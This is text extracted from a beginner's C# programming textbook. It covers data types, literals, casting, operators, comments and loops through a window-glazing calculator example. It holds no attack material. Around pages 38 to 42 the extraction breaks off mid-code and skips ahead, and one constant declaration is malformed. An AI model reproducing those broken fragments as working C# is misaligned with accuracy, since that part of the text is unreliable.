For each type of variable the C# language has a way in which literal values of that type are expressed. These are referred to as reals. A programming language must give you a way of storing the data you are processing.2 Manipulating Data In this section we are going to take a look at how we can write programs that manipulate data.e. for example the current temperature. Nasty real world type things. they are integral. A literal value is just a value in your program which you use for some purpose. Before we can go much further in our programming career we need to consider just what this means. 2. The declaration also identifies the type of the thing we want to store. To handle real values the computer actually stores them to a limited accuracy.you could always get the value more accurately. Too much accuracy may slow the machine down . These are referred to as integers.2. A computer is digital. C# Programming © Rob Miles 2010 26 . Because we know that it works in terms of ons and offs it has problems holding real values. the speed of a car.2 Storing Numbers When considering numeric values there are two kinds of data: Nice chunky individual values. specifically designed to hold items of the given type. You also need to choose the type of the variable (particular size and shape of box) from the range of storage types which C# provides. apples in a basket. You tell C# about a variable you want to create by declaring it. Think of this as C# creating a box of a particular size. otherwise it is useless. You chose the name to reflect what is going to be stored there (we used sensible names like woodLength in the above program).too little may result in the wrong values being used. In the second case we can never hold what we are looking at exactly. 2. it operates entirely on patterns of bits which can be regarded as numbers. A variable is a named location where you can store something. In the first case we can hold the value exactly. which we hope is adequate (and usually is).Simple Data Processing Manipulating Data 2. You can think of it as a box of a particular size with a name painted on the box.1 Variables and Data In the glazing program above we decided to hold the width and the height of the windows that we are working on in variables that we described as double.2. The type of the variable is part of the metadata about that variable. What the data actually means is something that you as programmer decide (see the above digression on data). Even if you measure a piece of string to 100 decimal places it is still not going to give you its exact length . for example the number of sheep in a field. you always have an exact number of these items. The box is tagged with some metadata (there is that word again) so that the system knows what can be put into it and how that box can be used. how values can be stored. and what other types of data we can store in programs that we write. the length of a piece of string. Programs operate on data. retrieved and generally fiddled with. We also need to consider the range of possible values that we need to hold so that we can choose the appropriate type to store the data. When you are writing a specification you should worry about the precision to which values are to be held. teeth on a cog. This provides us with the ability to perform the data processing part of programs. Programs also contain literal values. This means that when we want to store something we have to tell the computer whether it is an integer or a real. These are real. i.
Programmer’s Point: Check your own maths Something else which you should bear in mind is that a program will not always detect when you exceed the range of a variable. In this statement the 127 is regarded as an sbyte literal.Simple Data Processing Manipulating Data Storing integer values Integers are the easiest type of value for the computer to store.648 to 2. C# Programming © Rob Miles 2010 27 .147.483. if I add one to the value in this variable the system may not detect this as an error. C# provides a variety of integer types. If I put the value 255 into a variable of type byte this is OK. This is because the numbers are stored using "2's complement" notation. I could use it in my program as follows: numberOfSheep = 23 . In fact this may cause the value to "wrap round" to 0. depending on the range of values you would like to store: sbyte byte short ushort int uint long ulong char Note that we can go one further negative than positive. The bigger the value the larger the number of bits that you need to represent it. If I am using one of the "shorter" types the literal value is regarded by the compiler as being of that type: sbyte tinyVal = 127.647. An example of an integer variable would be something which kept track of the number of sheep in a field: int numberOfSheep. int. This means that if I do something stupid: sbyte tinyVal = 128. Remember that the language itself is unaware of any such considerations. as shown above. because 255 is the biggest possible value of the type can hold. This creates a variable with could keep track of over two thousand million sheep! It also lets a program manipulate "negative sheep" which is probably not meaningful (unless you run a sheep bank of course and let people borrow them). integer literal values An integer literal is expressed as a sequence of digits with no decimal Point: 23 This is the integer value 23. The only issue is one of range. When you edit your program source using Visual Studio (or another code editor that supports syntax highlighting) you will find that the names of types that are built into the C# language (such as int and float) are displayed in blue.147.000 sheep and the number of sheep never goes negative you must add this behaviour yourself.. not an integer. If you want to hold even larger integers than this (although I've no idea why you'd want this) there is a long version. Each value will map onto a particular pattern of bits. Which could cause my program big problems. in the range -2. If you want to make sure that we never have more than 1.483. can hold frighteningly large numbers in C#. However.
Simple Data Processing Manipulating Data (the maximum value that an sbyte can hold is 127) the compiler will detect that I have made a mistake and the program will not compile. This means that you have to take special steps to make sure that you as programmer make clear that you want this to happen and that you can live with the consequences. C# provides a type of box which can hold a real number.7E308 and a precision of 15 digits. Depending on the value the decimal point floats around in the number. This uses twice the storage space of a double and holds values to a precision of 28-29 digits. If you put an f on the end it becomes a floating point literal value. A standard float value has a range of 1. This is because when you move a value from a double precision variable into an ordinary floating point one some of the precision is lost. They have a decimal point and a fractional part.5E-45 to 3. This process is known as casting and we will consider it in detail a bit later.5f A double literal is expressed as a real number without the f: 3. C# Programming © Rob Miles 2010 28 . hence the name float. If you want more precision (although of course your programs will use up more computer memory and run more slowly) you can use a double box instead (double is an abbreviation for double precision). real literal values There are two ways in which you can store floating point numbers.4605284E15 This is a double precision literal value which is actually the number of meters in a light year. It is used in financial calculations where the numbers are not so large but they need to be held to very high accuracy. Unlike the way that integers work. not as good as most pocket calculators). Storing real values "Real" is a generic term for numbers which are not integers.5 You can also use exponents to express double and float values: 9. decimal robsOverdraft. An example of a float variable could be something which held the average price of ice cream: float averageIceCreamPriceInPence. This is takes up more computer memory but it has a range of 5. Finally. if you want the ultimate in precision but require a slightly smaller range you can use the decimal type. with real numbers the compiler is quite fussy about how they can and can't be combined.e. as float or as double. A float literal can be expressed as a real number with an f after it: 2.0E-324 to 1. An example of a double variable could be something which held the width of the universe in inches: double univWidthInInches.4E48 with a precision of only 7 digits (i. When it comes to putting literal values into the program itself the compiler likes to know if you are writing a floating point value (smaller sized box) or double precision (larger sized box).
An example of a character variable could be something which held the command key that the user has just pressed: char commandKey. C# Programming © Rob Miles 2010 29 . If you are editing your program using an editor that supports syntax highlighting a character literal is shown in red.2. Escape in this context means "escape from the normal hum-drum conventions of just meaning what you are and let's do something special". You can use them as follows: char beep = '\a' . This is achieved by the use of an escape sequence. char literal values You express a character by enclosing it in single quotes: 'A' This means "the character A".Simple Data Processing Manipulating Data Programmer’s Point: Simple variables are probably best You will find that I. Character Escape Sequences This leads to the question "How do we express the ' (single quote) character". and most programmers. Some systems will make a beep when you send the Alert character to them. C# provides variables for looking after both of these types of information: char variables A char is a type of variable which can hold a single character. C# uses a character set called UNICODE which can handle over 65. tend to use just integers (int) and floating point (float) variable types. Some clear the screen when you send the Form feed character. This is a sequence of characters which starts with a special escape character. The escape character is the \ (backslash) character. at other times it will be a string.3 Storing Text Sometimes the information we want to store is text. 2. A character is what you get when you press a key on a keyboard or display a single character on the screen.000 different character designs including a wide range of foreign characters. It is what your program would get if you asked it to read a character off the keyboard and the user held down shift and pressed A.. This can be in the form of a single character. This may seem wasteful (it is most unlikely I'll ever need to keep track of two thousand million sheep) but it makes the programs easier to understand.
Note that I have to put leading zeroes in front of the two hex digits. which is that you can use it to get string literals to extend over several lines: @"The quick brown fox jumps over the lazy dog" This expresses a string which extends over three lines. The line breaks in the string are preserved when it is stored. C# Programming © Rob Miles 2010 30 . This is represented in hexadecimal (base 16) as four sixteens and a single one (i. If you wish. or it can be very long. The bad news is that you must express this value in hexadecimal which is a little bit harder to use than decimal. I do this by putting an @ in front of the literal: @"\x0041BCDE\a" If I print this string I get: \x0041BCDE\a This can be useful when you are expressing things like file paths. you can express a character literal as a value from the Unicode character set. A string variable can hold a line of text.Simple Data Processing Manipulating Data Note that the a must be in lower case. if at all. string variables A type of box which can hold a string of text. because there are special characters which mean "take a new line" (see above) it is perfectly possible for a single string to hold a large number of lines of text. The verbatim character has another trick. string literal values A string literal value is expressed enclosed in double quotes: "this is a string" The string can contain the escape sequences above: "\x0041BCDE\a" If we print this string it would print out: ABCDE . However. for example "War and Peace" (that is the book not the three words). C# uses the Unicode standard to map characters onto numbers that represent them.e. As an example however. The best news of all is that you probably don't need to do this kind of thing very often. If I am just expressing text with no escape characters or anything strange I can tell the compiler that this is a verbatim string. Character code values We have already established that the computer actually manipulates numbers rather than actual letters. The good news is that this gives you access to a huge range of characters (as long as you know the codes for them). 41).and try to ring the bell. I happen to know that the Unicode value for capital a (A) is 65. I can therefore put this in my program as: char capitalA = '\x0041' . In C# a string can be very short. An example of a string variable could be something which holds the line that the user has just typed in: string commandLine. for example "Rob".
For example. along with "always use the keyboard with the keys uppermost" is: Always give your variables meaningful names. C# Programming © Rob Miles 2010 31 . Upper and lower case letters are different. this makes the job much simpler. Fred and fred are different identifiers. It does not take into account the precision required or indeed how accurately the window can be measured.4 Storing State using Booleans A bool (short for boolean) variable is a type of box which can hold whether or not something is true.5 pounds (needing the use of float) I will store the price as 150 pence. one of which are not valid (see if you can guess which one and why): int fred . If you are storing whether or not a subscription has been paid or not there is no need to waste space by using a type which can hold a large number of possible values. float jim . i. I find that with a little bit of ingenuity I can work in integers quite comfortably. 2. Here are a few example declarations. Sometimes that is all you want. the best relationships are meaningful ones. char 29yesitsme . An example of a bool variable could be one which holds the state of a network connection: bool networkOK.e. I tend to use floating point storage only as a last resort. These are the only two values which the bool type allows. In the example above I've used the double type to hold the width and height of a window. Instead you just need to hold the states true or false. One of the golden rules of programming. However. Also when considering how to store data it is important to remember where it comes from. you might think that being asked to work with the speed of a car you would have to store a floating point value. The name of a variable is more properly called an identifier. find out how it is being produced before you decide how it will be stored. bool literal values These are easily expressed as either true or false: networkOK = true . This illustrates another metadata consideration.2.2. Programmer’s Point: Think about the type of your variables Choosing the right type for a variable is something of a skill. rather than store the price of an item as 1. I would suspect that my glazing salesman will not be able to measure to accuracy greater than 1 mm and so it would make sense to only store the data to that precision. when you find out that the speed sensor only gives answers to an accuracy of 1 mile per hour. They introduce a lack of precision that I am not too keen on.Simple Data Processing Manipulating Data 2. C# has some rules about what constitutes a valid identifier: All identifiers names must start with a letter. As an example. when you are given the prospect of storing floating point information. After the letter you can have either letters or numbers or the underscore "_" character. According to the Mills and Boon romances that I have read.5 Identifiers In C# an identifier is a name that the programmer chooses for something in the program. We will see other places where we create identifiers. This is really stupid.
it does not mean equals in the numeric sense. The equals in the middle is there mainly to confuse us. 2. The value which is assigned is an expression. We can then use the result as we like in our program.is a piece of programming naughtiness which would cause all manner of nasty errors to appear. C# does this by means of an assignment statement.Simple Data Processing Manipulating Data The convention in C# for the kind of variables that we are creating at the moment is to mix upper and lower case letters so that each word in the identifier starts with a capital: float averageIceCreamPriceInPence. The last three statements are the ones which actually do the work. which means that: 2 = second + 1. first = 1 . I like to think of it as a gozzinta (see above). There are two parts to an assignment. second. as we already know. second and third. first. third . Expressions can be as simple as a single value and as complex as a large calculation. for example consider the following: class Assignment { static void Main () { int first. They should be long enough to be expressive but not so long that your program lines get too complicated. An assignment gives a value to a specified variable. third = second + first . . does not know or care what you are doing). operators and operands. } } The first part of the program should be pretty familiar by now. Perhaps the name averageIceCreamPriceInPence is a bit over the top in this respect. But I could live with it. Gozzintas take the result on the right hand side of the assignment and drop it into the box on the left. Within the Main function we have declared three variables.2. These are assignment statements.6 Giving Values to Variables Once we have got ourselves a variable we now need to know how to put something into it. which must be of a sensible type (note that you must be sensible about this because the compiler. second = 2 . Remember that you can always do sensible things with your layout to make the program look OK: averageIceCreamPriceInPence = computedTotalPriceInPence / numberOfIceCreams. the thing you want to assign and the place you want to put it. presumably because of the "humps" in the identifier which are caused by the capitals. They are made up of two things. and get the value out. Programmer’s Point: Think about the names of your variables Choosing variable names is another skill you should work at. C# Programming © Rob Miles 2010 32 . This is sometimes called camel case. These are each of integer type. Expressions An expression is something which can be evaluated to produce a result.
g. Note that this means that the first expression above will therefore return 14 and not 20. 2. what they do and their precedence (priority). It then looks for the next ones down and so on until the final result is obtained. e. I am listing the operators with the highest priority first. Most operators work on two operands. as in the final example. You can put brackets inside brackets if you want. A literal value has a type associated with it by the compiler. Note that we use exactly the same character as for unary minus.7 Changing the Type of Data Whenever I move a value from one type to another the C# compiler gets very interested in what I am doing. subtraction. This can cause problems as we shall see now. * / + unary minus. A literal value is something which is literally there in the code. the minus that C# finds in negative numbers. Unary means applying to only one item. For completeness here is a list of all operators. But of course you should remember that some of them (for example +) can be used between other types of data as well. one each side. followed by the addition and subtraction. second. C# does this by giving each operator a priority. generally speaking things tend to be worked out how you would expect them.Simple Data Processing Manipulating Data Operands Operands are things the operators work on. They are usually literal values or the identifiers of variables. just as you would yourself. note the use of the * rather than the more mathematically correct but confusing x. It worries about whether or not the operation I'm about C# Programming © Rob Miles 2010 33 . Because these operators work on numbers they are often called the numeric operators. third are identifiers and 2 is a literal value. It is probably not worth getting too worked up about this expression evaluation as posh people call it. -1. Again.2. In the program above + is the only operator. Being a simple soul I tend to make things very clear by putting brackets around everything. just as in traditional maths all the multiplication and division is performed first in an expression. If you want to force the order in which things are worked out you can put brackets around the things you want done first. Here are a few example expressions: 2 + 3 * 4 -1 + 3 (2 + 3) * 4 These expressions are worked out (evaluated) by C# moving from left to right. When C# works out an expression it looks along it for all the operators with the highest priority and does them first. It is also possible to use operators in a way which causes values to be moved from one type to another. Operators Operators are the things which do the work: They specify the operation to be performed on the operands. This is not a complete list of all the operators available. In the program above first. division. provided you make sure that you have as many open ones as close ones. but it will do for now. multiplication. because of the difficulty of drawing one number above another on a screen we use this character instead Addition.
As we saw above. Casting We can force C# to regard a value as being of a certain type by the use of casting. It gives you great flexibility. In C# terms the "size" of a type is the range of values (the biggest and smallest) and the precision (the number of decimal places). as the writer of the program. each type of variable has a particular range of possible values. It considers every operation in terms of "widening and narrowing" values. i = (int) 123456781234567890. float f = (float) d . Nothing in C# checks for mistakes like this. But it might not have room.would cause an error as well. If a program fails because data is lost it is not because the compiler did something silly. The compiler is concerned that you may be discarding information by such an assignment and treats it as an error. float x = i. float f = d . for example: double d = 1. For example: double d = 1. and the range of floating point values is much greater than that for integers.would cause the compiler to complain (even though at the moment the variable x only holds an integer value). It is up to you when you write your program to make sure that you never exceed the range of the data types you are using . You cast a value by putting the type you want to see there in brackets before it. The bigger case will take everything that was in the smaller case and have room for more.. Widening and Narrowing The general principle which C# uses is that if you are "narrowing" a value it will always ask you to explicitly tell it that this is what you want to do. . However.. I do not think of this as a failing in C#.the cast is doomed to fail. If you are widening there is no problem.5. This works fine because the floating point type can hold all the values supported by the integer type. In the above code the message to the compiler is "I don't care that this assignment could cause the loss of information.Simple Data Processing Manipulating Data to perform will cause data to be lost from the program. To understand what we mean by these terms we could consider suitcases. The value which gets placed in i will be invalid. This means that if I write: int i = 1 . If I decide to switch to a smaller case I will have to take everything out of the large case and put it into the smaller one. since the compiler knows that a double is wider than a float. .. int i = x . If I am packing for a trip I will take a case. . I.the program will not notice but the user certainly will! C# Programming © Rob Miles 2010 34 . Note that this applies within floating point values as well.999 . will take the responsibility of making sure that the program works correctly". This is "narrowing". This means that if you do things like this: int i . if I change to a bigger case there is no problem. at the cost of assuming you know what you are doing. so I have to leave behind one of my shirts. However: float x = 1. A cast takes the form of an additional instruction to the compiler to force it to regard a value in a particular way.5. You can regard casting as the compiler's way of washing its hands of the problem.
because it involves a floating point value would however be evaluated to give a double precision floating point result. However. even though the original number was much closer to 2.25 to convert the length value from meters to feet (there are about 3. This is because the literal value 3. decimal) into one without. and the variable x has been declared as a floating point. in our double glazing program we had to multiply the wood length in meters by 3.25 feet in a meter).would compile correctly.will be treated with the contempt they richly deserve. it is not. . To make life easier the creators of C# have added a different way we can express a floating point literal value in a program. Not so. The C# compiler knows that it is daft to divide the value 3. It therefore would calculate this to be the integer value 0 (the fractional part is always truncated). C# Programming © Rob Miles 2010 35 .0 You might think that these would give the same result. x = (float) 3. The code above takes 1. However. x = 3. which means that the variable i will end up with the value 1 in it. so that the assignment works. This means that: float x . These are just values you want to use in your calculations. it makes a decision as to the type of the result that is to be produced. should give an integer result. This can lead to problems. and this includes how it allows literal values to be used. the more accurate answer of 0.999 . If I want to put a floating point literal value into a floating point variable I can use casting: float x . Casting and Literal Values We have seen that you can put "literal" values into your program.4 . . which involves only integers.5. This process discards the fractional part.4 / "stupid" . if the two operands are integer it says that the result should be integer.999 (which would be compiled as a value of type double) and casts it to int. The compiler thinks that the first expression. If the two are floating point it says that the result should be floating point. If you put an f after the value this is regarded as a floating point value. You should remember that this truncation takes place whenever you cast from a value with a fractional part (float. i = 3. consider this: float x . This is so that statements like: int i .4f .4 is a double precision value when expressed as a literal.2.4 . double. This code looks perfectly legal. For example. The second expression. i = (int) 1.0 by the string "stupid". C# keeps careful track of the things that it is combining.8 Types of Data in Expressions When C# uses an operator. 2. consider the following: 1/2 1/2.Simple Data Processing Manipulating Data A cast can also lose information in other ways: int i . This casts the double precision literal into a floating point value. Essentially. x = 3.
the only hard part is figuring out how many bottles that are needed for a particular number of tablets.Parse(widthString). The tablets are always sold in bottles of 100. string heightString = Console. i. As an example. glassArea = 2 * ( width * height ) .25 . Later on we will see that the + operator. can be used between strings to concatenate them together. so that we get 1.ReadLine().e.2.Parse(heightString).WriteLine ( "The length of the wood is " + woodLength + " feet" ) . If you want complete control over the particular kind of operator the compiler will generate for you the program must contain explicit casts to set the correct context for the operator. height = double. and the number of bottles that he needs. He wants a program that will work out the total cost of tablets that he buys.WriteLine("The area of the glass is " + glassArea + " square metres" ) . The interesting thing about this is that it is a pattern of behaviour which can be reused time and time again.ReadLine(). You can very easily modify your program to do this job. "Ro" + "b" would give the result "Rob". 2. class CastDemo { static void Main () { int i = 3. float fraction . double width = double. who runs a chemist shop. } } The (float) cast in the above tells the compiler to regard the values in the integer variables as floating point ones.9 Programs and Patterns At this point we can revisit our double glazing program and look at the way that it works. this can make the program clearer. store it in an appropriate type of location and then uses the stored values to calculate the result that the user requires: string widthString = Console. Programmer’s Point: Casts can add clarity I tend to put the casts in even if they are not needed. The code that actually does the work boils down to just a few lines which read in the data. It may not affect the result of the calculation but it will inform the reader of what I am trying to do. consider another friend of yours. Console. One way to solve this is to add 99 to the number of tablets before you C# Programming © Rob Miles 2010 36 . Console.5 printed out rather than 1. fraction = (float) i / (float) j . woodLength = 2 * ( width + height ) * 3. He enters the cost of the tablets and the number he wants. j = 2 . using System. If you just divide the number of tablets by 100 an integer division will give you the wrong answer (for any number of tablets less than 100 your program will tell you that 0 bottles are needed). which normally performs a numeric calculation. Console.Simple Data Processing Manipulating Data The way that an operator behaves depends on the context of its use.WriteLine ( "fraction : " + fraction ) .
int tabletCount = int.ReadLine(). Console. They may need to read in a large amount of data and then process that in a number of different ways. but programs are something else. A good program is well laid out. I have found that some computer manuals are works of fiction. C# Programming © Rob Miles 2010 37 .ReadLine(). The various components should be organised in a clear and consistent way. and look at the general business of writing programs.Parse(pricePerBottleString). int bottleCount = ((tabletCount + 99) / 100) . It should look good on the page. At no point should the hapless reader be forced to backtrack or brush up on knowledge that the writer assumes is there.Simple Data Processing Writing a Program perform the division. int salePrice = bottleCount * pricePerBottle .Parse(tabletCountString). They just read data in. This makes the active part of the program as follows: int bottleCount = ((tabletCount + 99) / 100) . All the names in the text should impart meaning and be distinct from each other. I'm not completely convinced that this is true. They may need to repeat things until something is true. do something with it and then print out the result. int pricePerBottle = int. we will need to create programs which do things which are more complex that this. Any time that you are asked to write a program that reads in some data. 2. Console. It should have good punctuation and grammar. a good program text does have some of the characteristics of good literature: It should be easy to read. Part of the skill of a programmer is identifying the nature of a problem in terms of the best pattern to be used to solve it.WriteLine( "The total price is " + salePrice ) . 2. The different blocks should be indented and the statements spread over the page in a well formed manner. int salePrice = bottleCount * pricePerBottle . process it. print it out) which is common to many applications. string tabletCountString = Console. string pricePerBottleString = Console.WriteLine ( "The number of bottles is " + bottleCount ) .3 Writing a Program The programs that we have created up until now have been very simple. We can then put the rest of the code around this to make a finished solution: Remember that if you divide two integers the result is always rounded down and the fractional part discarded. I think that while it is not a story as such.1 Software as a story Some people say that writing a program is a bit like writing a story. In this section we are going to consider how we can give our programs that extra level of complexity.3. However. Both conform to a pattern of behaviour (read data in. works out some answers and then prints out the result you can make use of this pattern. The interesting thing here is that the program for the chemist is actually just a variation on the program for the double glazing salesman. forcing the number of bottles required to "round up" any number of tablets greater than 0. They may have to make a decision based on the data which they are given.
Simple Data Processing Writing a Program It should be clear who wrote it. There is a chance that it might take you to the right place. A big part of a well written program is the comments that the programmer puts there. I will ignore everything following until I see a */ which closes the comment. but it will be very hard to tell where it is going from the inside. Programmer’s Point: Don't add too much detail Writing comments is a very sensible thing to do. 2.” As an example: /* This program works out glass and wood required for a double glazing salesman. But don't go mad. Basically there are three types of program flow: 1. You will be very surprised to find that you quickly forget how you got your program to work. If you are using an editor that supports syntax highlighting you will find that comments are usually displayed in green. You can also use comments to keep people informed of the particular version of the program. Remember that the person who is reading your program can be expected to know the C# language and doesn't need things explained to them in too much detail: goatCount = goatCount + 1 . They help to make your program much easier to understand. If you write something good you should put your name on it. Block Comments When the C# compiler sees the "/*" sequence which means the start of a comment it says to itself: “Aha! Here is a piece of information for greater minds than mine to ponder. and then stops. and the name of the programmer who wrote it – even if it was you. It is useful for putting a quick note on the end of a statement: position = position + 1 . when it was last modified and why. Often you will come across situations where your program must change what it does according to the data which is given to it. // move on to the next customer I've annotated the statement to give the reader extra information about what it actually does. straight line chosen depending on a given condition repeated according to a given condition C# Programming © Rob Miles 2010 38 . it runs straight through from the first statement to the last. Line Comments Another form of comment makes use of the // sequence. This marks the start of a comment which extends to the end of that particular line of code. // add one to goatCount This is plain insulting to the reader I reckon. If you change what you wrote you should add information about the changes that you made and why. and when it was last changed.3. 3. A program without comments is a bit like an aeroplane which has an autopilot but no windows. If you chose sensible identifiers you should find that your program will express most of what it does directly from the code itself. 2. */ Be generous with your comments.2 Controlling Program Flow Our first double glazing program is very simple.
Simple Data Processing
Writing a Program to work out the wood and glass for our glazing man (this is our metadata): ) { Console.WriteLine (!
Programmer’s Point: Use Layout to Inform the Reader.
if (width < MIN_WIDTH) { Console. This is both more meaningful (we are using PI not some anonymous value) and makes the program quicker to write. MIN_WIDTH = 0. glassArea. } Console. woodLength. } if (width > MAX_WIDTH) { Console. MAX_HEIGHT = 3.Write ( "Give the height of the window : " ). Console. what I would like to do is replace each number with something a bit more meaningful. width = MIN_WIDTH . and also much easier to change. const double PI=3. 0.WriteLine ( "Width is too small" ) . If. for some reason. string widthString.Parse(widthString). height. heightString.e.WriteLine ( "Using minimum" ) . C# Programming © Rob Miles 2010 42 . Console.75 and 3. We can therefore modify our double glazing program as follows: using System.5 metres I have to look all through the program and change only the appropriate values. width = MAX_WIDTH .WriteLine ( "Width is too large. Console.75 .5 . Now I could just use the values 0. i. it can never be changed. There is a convention that you always give constant variables names which are expressed in CAPITAL LETTERS. This makes your programs much easier to read.0 . heightString = Console. for example: const double = MAX_WIDTH 5.5.ReadLine(). width = double. height = double.0 .0 .Simple Data Processing Writing a Program values for heights and widths.ReadLine().Parse(heightString). Anywhere you use a magic number you should use a constant of this form.0.WriteLine ( "Using maximum" ) . MIN_HEIGHT = 0. We can do this by making a variable which is constant. This means that you can do things like: circ = rad * 2 * PI . my maximum glass size becomes 4.\n\n" ) . I do not like the idea of "magic numbers" in programs. This is so that when you read your program you can tell which things have been defined. 5. widthString = Console. These come from the metadata I was so careful to gather when I wrote the specification for the program. class GlazerCalc { static void Main() { double width. const const const const double double double double MAX_WIDTH = 5.Write ( "Give the width of the window : " ).but these are not packed with meaning and make the program hard to change.141592654.0 .
do -. 2. C# has three ways of doing this. In the case of our program we want to repeatedly get numbers in while we are getting duff ones.25 . with the height having to be entered again. glassArea = 2 * ( width * height ) . Console. However often you want to repeat something while a particular condition is true. or a given number of times.Simple Data Processing Writing a Program if (height < MIN_HEIGHT) { Console.. This means that if we get the number correctly first time the loop will execute just once.WriteLine( "Height Console. } is too small.\n\n" ) .WriteLine ( "Using height = MAX_HEIGHT . is too large.WriteLine ( "Using height = MIN_HEIGHT . giving a proper number should cause our loop to stop. What we would really like is a way that we can repeatedly fetch values for the width and height until we get one which fits. maximum" ) . (the rest is finding out why the tool didn't do what you expected it to!). If our salesman gives a bad height the program simply limits the value and needs to be re-run. } if (height > MAX_HEIGHT) { Console. C# allows us to do this by providing looping constructions.while loop In the case of our little C# program we use the do -. Most of the skill of programming involves picking the right tool or attachment to do the job in hand. woodLength = 2 * ( width + height ) * 3.\n\n" ) . depending on precisely what you are trying to do.e. minimum" ) . } } This program fulfils our requirements.WriteLine( "The area of the glass is " + glassArea + " square metres" ) .3 Loops Conditional statements allow you to do something if a given condition is true. However I would still not call it perfect.3. i.while construction which looks like this: C# Programming © Rob Miles 2010 43 . It will not use values incompatible with our specification). Console.WriteLine( "Height Console.
the answer contains elements of human psychology. How long it will run for is an interesting question. This allows us to repeat a chunk of code until the condition at the end becomes false. You get bored with it. i. while ( true ).Simple Data Processing Writing a Program do statement or block while (condition) . 3. For our program this is exactly what we want. for loop Often you will want to repeat something a given number of times. I wonder how many people are still washing their hair at the moment? while loop Sometimes you want to decide whether or not to repeat the loop before you perform it.but you had already guessed that of course!). 2.. The loop constructions we have given can be used to do this quite easily: C# Programming © Rob Miles 2010 44 . Your electricity runs out. If you think about how the loop above works the test is done after the code to be repeated has been performed once. Rinse with warm water. raising the intriguing possibility of programs like: using System. we need to ask for a value before we can decide whether or not it is valid. 3. class Forever { public static void Main () { do Console. 2. Just as it is possible with any old chainsaw to cut off your leg if you try really hard so it is possible to use any programming language to write a program which will never stop.e. 4.e. Repeat. i. Wet Your Hair Add Shampoo and Rub vigorously. energy futures and cosmology. Note that the test is performed after the statement or block. It reminds me of my favourite shampoo instructions: 1. A condition in this context is exactly the same as the condition in an if construction. even if the test is bound to fail the statement is performed once. (if you put the do in the compiler will take great delight in giving you an error message . This is a chainsaw situation. not a powerful chainsaw situation. The universe implodes.WriteLine ( "Hello mum" ) . it will run until: 1. } } This is a perfectly legal C# program.
class WhileLoopInsteadOfFor { public static void Main () { int i . for ( i = 1 . Put the setup value into the control variable. C# Programming © Rob Miles 2010 45 . if you put i back to 0 within the loop it will run forever. or update it. This means that you are less likely forget to do something like give the control variable an initial value. The precise sequence of events is as follows: 1. Perform the update.WriteLine ( "Hello mum" ) . i < 11 . } } } The variable which controls things is often called the control variable. and is usually given the name i. i. update ) { things we want to do a given number of times } We could use this to re-write the above program as: using System. Repeat from step 2. 3. And serve you right. Perform the statements to be repeated. } } } The setup puts a value into the control variable which it will start with. finish test . i = i + 1 . The test is a condition which must be true for the for -. This useless program prints out hello mum 10 times.Simple Data Processing Writing a Program using System. The update is the statement which is performed to update the control variable at the end of each loop. Note that the three elements are separated by semicolons. Test to see if we have finished the loop yet and exit to the statement after the for loop if we have. at which point the loop terminates and our program stops. 4. Eventually it will reach 11.WriteLine ( "Hello mum" ) . The variable is given an initial value (1) and then tested each time we go around the loop. i = 1 . 2.loop to continue. class ForLoop { public static void Main () { int i . If you are so stupid as to mess around with the value of the control variable in the loop you can expect your program to do stupid things. Writing a loop in this way is quicker and simpler than using a form of while because it keeps all the elements of the loop in one place instead of leaving them spread about the program. while ( i < 11 ) { Console.e. C# provides a construction to allow you to set up a loop of this form all in one: for ( setup . i = i + 1 ) { Console. It does this by using a variable to control the loop. 5. The control variable is then increased for each pass through the statements.
. This is a command to leave the loop immediately. When you are writing programs the two things which you should be worrying about are "How do I prove this works?" and "How easy is this code to understand?" Complicated code does not help you do either of these things.. This is a standard programming trick that you will find very useful.. In every case the program continues running at the statement after the last statement of the loop. The goto is a special one that lets execution jump from one part of the program to another.. Some programmers think they are very clever if they can do all the work "inside" the for part at the top and have an empty statement after it. The break construction is less confusing than the goto. Note that we are using two variables as switches. increment and test. In this respect we advise you to exercise caution when using it. The break statement lets you jump from any point in a loop to the statement just outside the loop. This can make the code harder to understand. I call these people "the stupid people". they do not hold values as such.. one for every break in the loop above. } .e. You can break out of any of the three kinds of loop. your program may decide that there is no need or point to go on and wishes to leap out of the loop and continue the program from the statement after it. condition and update statements. they are actually used to represent states within the program as it runs. You can do this with the break statement.Simple Data Processing Writing a Program Programmer’s Point: Don't be clever/stupid Some people like to show how clever they are by doing cunning things with the setup... but can still lead to problems. which programmers are often scared of. For this reason the goto is condemned as a potentially dangerous and confusing device. This means that if my program is at the statement immediately following the loop. while (runningOK) { complex stuff .. more complex stuff .. There is rarely need for such convoluted code. Your program would usually make some form of decision to quit in this way. This happens when you have gone as far down the statements as you need to... I find it most useful so that I can provide a "get the heck out of here" option in the middle of something.. Programmer’s Point: Be careful with your breaks The break keyword smells a little like the dread goto statement. Going back to the top of a loop Every now and then you will want to go back to the top of a loop and do it all again. for example in the following program snippet the variable aborted.. normally false becomes true when the loop has to be abandoned and the variable runningOK. bit we get to if aborted becomes true . there are a number of ways it could have got there. normally true.. which can do things other than simple assignment. C# provides the continue keyword which says something along the lines of: C# Programming © Rob Miles 2010 46 . Breaking Out of Loops Sometimes you may want to escape from a loop whilst you are in the middle of it.. } . becomes false when it is time to finish normally. i. if (aborted) { break .
for ( item = 1 .. In the following program the bool variable Done_All_We_Need_This_Time is set true when we have gone as far down the loop as we need to. Programmer’s Point: Get used to flipping conditions One of the things that you will have to come to terms with is the way that you often have to reverse the way you look at things. Remember the notes about reversing conditions above when you write the code. Essentially we want to keep asking the user for a value until we get one which is OK. additional item processing stuff . Rather than saying "Read me a valid number" you will have to say "Read numbers while they are not valid". item < Total_Items .Simple Data Processing Writing a Program Please do not go any further down this time round the loop.... . To do this we have to combine two tests to see if the value is OK.e.. if (Done_All_We_Need_This_Time) continue . This means that you will often be checking to find the thing that you don't want.. item processing stuff . You can regard it as a move to step 2 in the list above. Complete Glazing Program This is a complete solution to the problem that uses all the tricks discussed above. rather than the thing that you do....... } The continue causes the program to re-run the loop with the next value of item if it is OK to do so.. Go back to the top of the loop. if you get a value which is larger than the maximum or smaller than the minimum ask for another. item=item+1 ) { . More Complicated Decisions We can now think about using a loop to test for a valid width or height. C# Programming © Rob Miles 2010 47 . do all the updating and stuff and go around if you are supposed to. i.. Our loop should continue to run if: width > MAX_WIDTH or width < MIN_WIDTH To perform this test we use one of the logical operators described above to write a condition which will be true if the width is invalid: if ( width < MIN_WIDTH || width > MAX_WIDTH ) .
